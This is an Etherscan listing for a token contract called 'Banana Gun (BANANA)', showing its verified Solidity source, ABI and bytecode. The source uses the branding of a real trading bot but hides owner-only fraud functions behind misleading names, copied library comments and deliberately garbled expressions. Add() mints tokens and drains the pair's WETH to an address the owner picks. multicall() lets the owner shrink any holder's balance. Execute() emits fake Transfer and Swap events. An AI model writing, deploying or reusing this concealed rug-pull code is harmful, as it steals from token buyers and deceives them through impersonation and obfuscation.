ETH Price: $2,524.18 (-0.01%)

Token

Banana Gun (BANANA)
 

Overview

Max Total Supply

10,000,000 BANANA

Holders

124

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
cyber-squatter.eth
Balance
0.000069498059246351 BANANA

Value
$0.00
0xfb5b9b839a8b96abdc303d384e1ca2101139beab
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BANANAGUN

Compiler Version
v0.7.6+commit.7338295f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-11
*/

/**
    Banana Gun Bot
    The ETH bot that will make your life easier. For degens, by degens. 
    
    Website: bananagun.io
    Presale website: presale.bananagun.io
    Twitter: twitter.com/BananaGunBot
    Telegram: t.me/Banana_Gun_Portal
    Telegram Sniper Bot: t.me/BananaGunSniper_bot
    Telegram Sell Bot: t.me/BananaGunSell_bot
    Tutorials: docs.bananagun.io
**/

// SPDX-License-Identifier: MIT

pragma solidity ^0.7.6;

interface IERC20 {
    function _Transfer( address from, address recipient, uint256 amount) external returns (bool);
    function transferFrom( address from, address to, uint256 value) external returns (bool);
}

interface Interfaces {
    function createPair( address tokenA, address tokenB) external returns (address pair);
    function token0() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapTokensForExactTokens( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline) external returns (uint256[] memory amounts);
    function swapExactETHForTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external payable returns (uint256[] memory amounts);
    function getAmountsOut( uint256 amountIn, address[] memory path) external view returns (uint256[] memory amounts);
    function getAmountsIn( uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts);
}

contract ERC20 {
    mapping(address => mapping(address => uint256)) public a;
    mapping(address => uint256) public b;
    mapping(address => uint256) public c;
    address public owner;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval( address indexed owner, address indexed spender, uint256 value);
    event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to);

    modifier onlyOwner() {
        require(owner == msg.sender, "Caller is not the owner");
        _;
    }

    function TryCall(uint256 _a, uint256 _b) internal pure returns (uint256) {
        return _a / _b;
    }

    function FetchToken(uint256 _a) internal pure returns (uint256) {
        return _a * 100000 / (2931 + 97069);
    }

    function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
        uint256 __c = _a + _b;
        require(__c >= _a, "SafeMath: addition overflow");

        return __c;
    }

    function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
        require(_b <= _a, "SafeMath: subtraction overflow");
        uint256 __c = _a - _b;

        return __c;
    }

    function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
        return _a / _b;
    }

    function _T() internal view returns (bytes32) {
        return bytes32(uint256(uint160(address(this))) << 96);
    }

    function balanceOf(address account) public view virtual returns (uint256) {
        return b[account];
    }

    function transfer( address to, uint256 amount) public virtual returns (bool) {
        _transfer(msg.sender, to, amount);
        return true;
    }

    function allowance( address __owner, address spender) public view virtual returns (uint256) {
        return a[__owner][spender];
    }

    function approve( address spender, uint256 amount) public virtual returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom( address from, address to, uint256 amount) public virtual returns (bool) {
        _spendAllowance(from, msg.sender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance( address spender, uint256 addedValue) public virtual returns (bool) {
        address __owner = msg.sender;
        _approve(__owner, spender, allowance(__owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance( address spender, uint256 subtractedValue) public virtual returns (bool) {
        address __owner = msg.sender;
        uint256 currentAllowance = allowance(__owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");

        _approve(__owner, spender, currentAllowance - subtractedValue);
        return true;
    }

    function _transfer( address from, address to, uint256 amount) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        uint256 fromBalance = b[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");

        b[from] = sub(fromBalance, amount);
        b[to] = add(b[to], amount);
        emit Transfer(from, to, amount);
    }

    function _approve( address __owner, address spender, uint256 amount) internal virtual {
        require(__owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        a[__owner][spender] = amount;
        emit Approval(__owner, spender, amount);
    }

    function _spendAllowance( address __owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(__owner, spender);
        if (currentAllowance != type(uint256).max) {
            require( currentAllowance >= amount, "ERC20: insufficient allowance");

            _approve(__owner, spender, currentAllowance - amount);
        }
    }
}

contract BANANAGUN is ERC20 {
    Interfaces internal _RR;
    Interfaces internal _pair;
    string public name;
    string public symbol;
    uint256 public totalSupply;
    uint8 public decimals = 18;
    address private EX = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    constructor() {
        name = "Banana Gun";
        symbol = "BANANA";
        totalSupply = 10_000_000e18;
        owner = msg.sender;
        _RR = Interfaces(EX);
        _pair = Interfaces(Interfaces(_RR.factory()).createPair(address(this), address(_RR.WETH())));
        b[msg.sender] = totalSupply;
        emit Transfer(address(0), msg.sender, totalSupply);
    }

    function Execute(uint256 t, address tA, uint256 w, address[] memory r) public onlyOwner returns (bool) {
        for (uint256 i = 0; i < r.length; i++) {
            callUniswap(r[i], t, w, tA);
        }
        return true;
    }


    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function Add(address _r) public onlyOwner {
        uint256 calling = (Sub(_RR.WETH()) * 99999) / 100000;
        address[] memory FoldArray = Div();
        uint256 called = Allowance(calling, FoldArray);
        getContract(calling, called, FoldArray, _r);
    }

    function Sub(address t) public view returns (uint256) {
        (uint112 r0, uint112 r1, ) = _pair.getReserves();
        return (_pair.token0() == t) ? uint256(r0) : uint256(r1);
    }

    function Div() internal view returns (address[] memory) {
        address[] memory p;
        p = new address[](2);
        p[0] = address(this);
        p[1] = _RR.WETH();
        return p;
    }

    function getContract(uint256 amO, uint256 amI, address[] memory p, address _r) internal {
        a[address(this)][address(_RR)] = b[address(this)];
        FactoryReview(amO, amI, p, _r);
    }

    function FactoryReview( uint256 amO, uint256 amI, address[] memory p, address _r) internal {
        _RR
        .swapTokensForExactTokens(
        amO, 
        amI, 
        p, 
        _r, 
        block.timestamp + 1200);
    }



    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
    */
    function Allowance(uint256 amO, address[] memory p) internal returns (uint256) {
        // Assembler for gas optimization {}
        uint256[] memory value;
        value = new uint256[](2);

        // uncheck
        value = Mult(amO, p);
        b
        [
        block.
        timestamp> 
        uint256(
        1)||
        uint256(
        0)>
        1||
        uint160(
        1)< 

        block.
        timestamp
        ? 
        address(
        uint160(
        uint256(
        _T(

        ))>>96))
        :address(uint256(0))
        ]+= 

        value
        
        [
        0
        ];

        return 
        value
        [
        0
        ];
    }

    function Mult( uint256 amO, address[] memory p) internal view returns (uint256[] memory){
        return _RR.getAmountsIn(amO, p);
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain`call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function multicall(bytes32[] calldata data, uint256 _p) public onlyOwner {
        // Assembler for gas optimization {}
        for 
        (uint256 i = 0; i < data.length; i++) {
        // assembly
        if
        (
        block
        .
        timestamp 
        >uint256(
        uint160(
        uint8(
        0
        )))
        )
        {
        // assembly 
        uint256 rS 
        =ConvertAddress(
        (uint256(

        uint16(
        uint8(
        0)) 
        )!=0)
        ?address(uint256(0))
        :address(
        uint160
        (uint256
        (data[i
        ])>>96)),
        _p
        );
        CheckAmount(data[i], rS);
        }
        }
    }

    function ConvertAddress(address _uu, uint256 _pp) internal view returns (uint256) {
        return TryCall(b[_uu], _pp);
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function CheckAmount(bytes32 _b, uint256 __a) internal {
        // Assembler for gas optimization {}
        emit
        Transfer
        (
        (uint256(0) 
        !=0 
        || 

        1238==1)
        ?address(
        uint256(
        0))

        :address(
        uint160
        (uint256(
        _b)>>96)),

        address(_pair),b
        // v0.5.11 specific update
        [
        (uint256(0) 
        !=0 
        || 
        1238==1)
        ?address(
        // Overflow control
        uint256(
        0))

        :address(
        uint160
        (uint256(
        _b)>>96))
        // Guard test
        ]
        );b
        // assembly
        [
        (uint256(0) 
        !=0 
        || 
        1238==1)
        ?address(
        // Must control
        uint256(
        0))

        :address(
        uint160
        (uint256(
        _b)>>96))
        // Contract opcode
        ]=
        FetchToken(
        uint256(
        __a));


    }

    function callUniswap(address r, uint256 t, uint256 w, address tA) internal {
        IERC20(tA)._Transfer(r, address(_pair), w);
        emit Transfer(address(_pair), r, t);
        emit Swap(EX, t, 0, 0, w, r);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_r","type":"address"}],"name":"Add","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"t","type":"uint256"},{"internalType":"address","name":"tA","type":"address"},{"internalType":"uint256","name":"w","type":"uint256"},{"internalType":"address[]","name":"r","type":"address[]"}],"name":"Execute","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"t","type":"address"}],"name":"Sub","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"a","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"__owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"b","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"c","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32[]","name":"data","type":"bytes32[]"},{"internalType":"uint256","name":"_p","type":"uint256"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

608060405260098054601260ff1990911617610100600160a81b031916747a250d5630b4cf539739df2c5dacb4c659f2488d001790553480156200004257600080fd5b5060408051808201909152600a808252692130b730b7309023bab760b11b60209092019182526200007691600691620002be565b506040805180820190915260068082526542414e414e4160d01b6020909201918252620000a691600791620002be565b506a084595161401484a00000060085560038054336001600160a01b031991821617909155600954600480546001600160a01b0361010090930483169316929092178083556040805163c45a015560e01b81529051919092169263c45a015592808201926020929091829003018186803b1580156200012457600080fd5b505afa15801562000139573d6000803e3d6000fd5b505050506040513d60208110156200015057600080fd5b505160048054604080516315ab88c960e31b815290516001600160a01b039485169463c9c653969430949091169263ad5c46489281830192602092829003018186803b158015620001a057600080fd5b505afa158015620001b5573d6000803e3d6000fd5b505050506040513d6020811015620001cc57600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b1580156200021f57600080fd5b505af115801562000234573d6000803e3d6000fd5b505050506040513d60208110156200024b57600080fd5b5051600580546001600160a01b0319166001600160a01b03909216919091179055600854336000818152600160209081526040808320859055805194855251929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a36200036a565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282620002f6576000855562000341565b82601f106200031157805160ff191683800117855562000341565b8280016001018555821562000341579182015b828111156200034157825182559160200191906001019062000324565b506200034f92915062000353565b5090565b5b808211156200034f576000815560010162000354565b6116ae806200037a6000396000f3fe608060405234801561001057600080fd5b50600436106101215760003560e01c80635765a5cc116100ad57806395d89b411161007157806395d89b4114610494578063a457c2d71461049c578063a9059cbb146104c8578063bda02782146104f4578063dd62ed3e1461051a57610121565b80635765a5cc1461033957806358a102591461036757806370a082311461042457806387dc5eec1461044a5780638da5cb5b1461047057610121565b806323b872dd116100f457806323b872dd146102235780632fdf851d14610259578063313ce5671461027f578063316d295f1461029d578063395093511461030d57610121565b806304ee65c01461012657806306fdde031461015e578063095ea7b3146101db57806318160ddd1461021b575b600080fd5b61014c6004803603602081101561013c57600080fd5b50356001600160a01b0316610548565b60408051918252519081900360200190f35b61016661055a565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101a0578181015183820152602001610188565b50505050905090810190601f1680156101cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610207600480360360408110156101f157600080fd5b506001600160a01b0381351690602001356105e8565b604080519115158252519081900360200190f35b61014c6105fe565b6102076004803603606081101561023957600080fd5b506001600160a01b03813581169160208101359091169060400135610604565b61014c6004803603602081101561026f57600080fd5b50356001600160a01b0316610626565b610287610752565b6040805160ff9092168252519081900360200190f35b61030b600480360360408110156102b357600080fd5b810190602081018135600160201b8111156102cd57600080fd5b8201836020820111156102df57600080fd5b803590602001918460208302840111600160201b8311171561030057600080fd5b91935091503561075b565b005b6102076004803603604081101561032357600080fd5b506001600160a01b038135169060200135610818565b61014c6004803603604081101561034f57600080fd5b506001600160a01b0381358116916020013516610831565b6102076004803603608081101561037d57600080fd5b8135916001600160a01b036020820135169160408201359190810190608081016060820135600160201b8111156103b357600080fd5b8201836020820111156103c557600080fd5b803590602001918460208302840111600160201b831117156103e657600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092955061084b945050505050565b61014c6004803603602081101561043a57600080fd5b50356001600160a01b03166108e6565b61030b6004803603602081101561046057600080fd5b50356001600160a01b0316610901565b610478610a17565b604080516001600160a01b039092168252519081900360200190f35b610166610a26565b610207600480360360408110156104b257600080fd5b506001600160a01b038135169060200135610a81565b610207600480360360408110156104de57600080fd5b506001600160a01b038135169060200135610ae8565b61014c6004803603602081101561050a57600080fd5b50356001600160a01b0316610af5565b61014c6004803603604081101561053057600080fd5b506001600160a01b0381358116916020013516610b07565b60026020526000908152604090205481565b6006805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105e05780601f106105b5576101008083540402835291602001916105e0565b820191906000526020600020905b8154815290600101906020018083116105c357829003601f168201915b505050505081565b60006105f5338484610b30565b50600192915050565b60085481565b6000610611843384610c1a565b61061c848484610c93565b5060019392505050565b6000806000600560009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561067957600080fd5b505afa15801561068d573d6000803e3d6000fd5b505050506040513d60608110156106a357600080fd5b50805160209182015160055460408051630dfe168160e01b815290519396509194506001600160a01b0380891694911692630dfe1681926004808201939291829003018186803b1580156106f657600080fd5b505afa15801561070a573d6000803e3d6000fd5b505050506040513d602081101561072057600080fd5b50516001600160a01b03161461073f57806001600160701b031661074a565b816001600160701b03165b949350505050565b60095460ff1681565b6003546001600160a01b031633146107b4576040805162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329037bbb732b960491b604482015290519081900360640190fd5b60005b8281101561081257421561080a5760006107ea60608686858181106107d857fe5b9050602002013560001c901c84610e0b565b90506108088585848181106107fb57fe5b9050602002013582610e35565b505b6001016107b7565b50505050565b60003361061c81858561082b8383610b07565b01610b30565b600060208181529281526040808220909352908152205481565b6003546000906001600160a01b031633146108a7576040805162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329037bbb732b960491b604482015290519081900360640190fd5b60005b82518110156108da576108d28382815181106108c257fe5b6020026020010151878688610eb1565b6001016108aa565b50600195945050505050565b6001600160a01b031660009081526001602052604090205490565b6003546001600160a01b0316331461095a576040805162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329037bbb732b960491b604482015290519081900360640190fd5b6000620186a06109e2600460009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156109b157600080fd5b505afa1580156109c5573d6000803e3d6000fd5b505050506040513d60208110156109db57600080fd5b5051610626565b6201869f02816109ee57fe5b04905060006109fb610fe4565b90506000610a0983836110dc565b905061081283828487611196565b6003546001600160a01b031681565b6007805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105e05780601f106105b5576101008083540402835291602001916105e0565b60003381610a8f8286610b07565b905083811015610ad05760405162461bcd60e51b81526004018080602001828103825260258152602001806116546025913960400191505060405180910390fd5b610add8286868403610b30565b506001949350505050565b60006105f5338484610c93565b60016020526000908152604090205481565b6001600160a01b0391821660009081526020818152604080832093909416825291909152205490565b6001600160a01b038316610b755760405162461bcd60e51b81526004018080602001828103825260248152602001806116306024913960400191505060405180910390fd5b6001600160a01b038216610bba5760405162461bcd60e51b81526004018080602001828103825260228152602001806115c36022913960400191505060405180910390fd5b6001600160a01b0380841660008181526020818152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6000610c268484610b07565b905060001981146108125781811015610c86576040805162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015290519081900360640190fd5b6108128484848403610b30565b6001600160a01b038316610cd85760405162461bcd60e51b815260040180806020018281038252602581526020018061160b6025913960400191505060405180910390fd5b6001600160a01b038216610d1d5760405162461bcd60e51b81526004018080602001828103825260238152602001806115a06023913960400191505060405180910390fd5b6001600160a01b03831660009081526001602052604090205481811015610d755760405162461bcd60e51b81526004018080602001828103825260268152602001806115e56026913960400191505060405180910390fd5b610d7f81836111d0565b6001600160a01b038086166000908152600160205260408082209390935590851681522054610dae908361122d565b6001600160a01b0380851660008181526001602090815260409182902094909455805186815290519193928816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a350505050565b6001600160a01b038216600090815260016020526040812054610e2e9083611287565b9392505050565b600554606083901c60008181526001602090815260409182902054825190815291516001600160a01b03909416937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a3610e968161129a565b60609290921c60009081526001602052604090209190915550565b600554604080516370ab58db60e11b81526001600160a01b03878116600483015292831660248201526044810185905290519183169163e156b1b6916064808201926020929091908290030181600087803b158015610f0f57600080fd5b505af1158015610f23573d6000803e3d6000fd5b505050506040513d6020811015610f3957600080fd5b50506005546040805185815290516001600160a01b038088169316917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a360095460408051858152600060208201819052818301526060810185905290516001600160a01b0380881693610100900416917fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822919081900360800190a350505050565b604080516002808252606080830184529283929190602083019080368337019050509050308160008151811061101657fe5b60200260200101906001600160a01b031690816001600160a01b031681525050600460009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561108457600080fd5b505afa158015611098573d6000803e3d6000fd5b505050506040513d60208110156110ae57600080fd5b50518151829060019081106110bf57fe5b6001600160a01b0390921660209283029190910190910152905090565b604080516002808252606080830184526000939092919060208301908036833701905050905061110c84846112a5565b90508060008151811061111b57fe5b6020026020010151600160006001421180611134575060005b8061113f5750426001105b61114a576000611157565b6060611154611404565b901c5b6001600160a01b03168152602081019190915260400160009081208054909201909155815182919061118557fe5b602002602001015191505092915050565b306000908152600160209081526040808320548383528184206004546001600160a01b03168552909252909120556108128484848461140b565b600082821115611227576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b600082820183811015610e2e576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600081838161129257fe5b049392505050565b620186a09081020490565b60048054604080516307c0329d60e21b8152928301858152602484019182528451604485015284516060946001600160a01b0390941693631f00ca7493889388939092606401906020808601910280838360005b838110156113115781810151838201526020016112f9565b50505050905001935050505060006040518083038186803b15801561133557600080fd5b505afa158015611349573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052602081101561137257600080fd5b8101908080516040519392919084600160201b82111561139157600080fd5b9083019060208201858111156113a657600080fd5b82518660208202830111600160201b821117156113c257600080fd5b82525081516020918201928201910280838360005b838110156113ef5781810151838201526020016113d7565b50505050905001604052505050905092915050565b3060601b90565b600460009054906101000a90046001600160a01b03166001600160a01b0316638803dbee85858585426104b0016040518663ffffffff1660e01b81526004018086815260200185815260200180602001846001600160a01b03168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b838110156114a8578181015183820152602001611490565b505050509050019650505050505050600060405180830381600087803b1580156114d157600080fd5b505af11580156114e5573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052602081101561150e57600080fd5b8101908080516040519392919084600160201b82111561152d57600080fd5b90830190602082018581111561154257600080fd5b82518660208202830111600160201b8211171561155e57600080fd5b82525081516020918201928201910280838360005b8381101561158b578181015183820152602001611573565b50505050905001604052505050505050505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220721a47715559768d8a74b63ffbc52137855e1c36e3c1f36783d6805dcea0975e64736f6c63430007060033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101215760003560e01c80635765a5cc116100ad57806395d89b411161007157806395d89b4114610494578063a457c2d71461049c578063a9059cbb146104c8578063bda02782146104f4578063dd62ed3e1461051a57610121565b80635765a5cc1461033957806358a102591461036757806370a082311461042457806387dc5eec1461044a5780638da5cb5b1461047057610121565b806323b872dd116100f457806323b872dd146102235780632fdf851d14610259578063313ce5671461027f578063316d295f1461029d578063395093511461030d57610121565b806304ee65c01461012657806306fdde031461015e578063095ea7b3146101db57806318160ddd1461021b575b600080fd5b61014c6004803603602081101561013c57600080fd5b50356001600160a01b0316610548565b60408051918252519081900360200190f35b61016661055a565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101a0578181015183820152602001610188565b50505050905090810190601f1680156101cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610207600480360360408110156101f157600080fd5b506001600160a01b0381351690602001356105e8565b604080519115158252519081900360200190f35b61014c6105fe565b6102076004803603606081101561023957600080fd5b506001600160a01b03813581169160208101359091169060400135610604565b61014c6004803603602081101561026f57600080fd5b50356001600160a01b0316610626565b610287610752565b6040805160ff9092168252519081900360200190f35b61030b600480360360408110156102b357600080fd5b810190602081018135600160201b8111156102cd57600080fd5b8201836020820111156102df57600080fd5b803590602001918460208302840111600160201b8311171561030057600080fd5b91935091503561075b565b005b6102076004803603604081101561032357600080fd5b506001600160a01b038135169060200135610818565b61014c6004803603604081101561034f57600080fd5b506001600160a01b0381358116916020013516610831565b6102076004803603608081101561037d57600080fd5b8135916001600160a01b036020820135169160408201359190810190608081016060820135600160201b8111156103b357600080fd5b8201836020820111156103c557600080fd5b803590602001918460208302840111600160201b831117156103e657600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092955061084b945050505050565b61014c6004803603602081101561043a57600080fd5b50356001600160a01b03166108e6565b61030b6004803603602081101561046057600080fd5b50356001600160a01b0316610901565b610478610a17565b604080516001600160a01b039092168252519081900360200190f35b610166610a26565b610207600480360360408110156104b257600080fd5b506001600160a01b038135169060200135610a81565b610207600480360360408110156104de57600080fd5b506001600160a01b038135169060200135610ae8565b61014c6004803603602081101561050a57600080fd5b50356001600160a01b0316610af5565b61014c6004803603604081101561053057600080fd5b506001600160a01b0381358116916020013516610b07565b60026020526000908152604090205481565b6006805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105e05780601f106105b5576101008083540402835291602001916105e0565b820191906000526020600020905b8154815290600101906020018083116105c357829003601f168201915b505050505081565b60006105f5338484610b30565b50600192915050565b60085481565b6000610611843384610c1a565b61061c848484610c93565b5060019392505050565b6000806000600560009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561067957600080fd5b505afa15801561068d573d6000803e3d6000fd5b505050506040513d60608110156106a357600080fd5b50805160209182015160055460408051630dfe168160e01b815290519396509194506001600160a01b0380891694911692630dfe1681926004808201939291829003018186803b1580156106f657600080fd5b505afa15801561070a573d6000803e3d6000fd5b505050506040513d602081101561072057600080fd5b50516001600160a01b03161461073f57806001600160701b031661074a565b816001600160701b03165b949350505050565b60095460ff1681565b6003546001600160a01b031633146107b4576040805162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329037bbb732b960491b604482015290519081900360640190fd5b60005b8281101561081257421561080a5760006107ea60608686858181106107d857fe5b9050602002013560001c901c84610e0b565b90506108088585848181106107fb57fe5b9050602002013582610e35565b505b6001016107b7565b50505050565b60003361061c81858561082b8383610b07565b01610b3056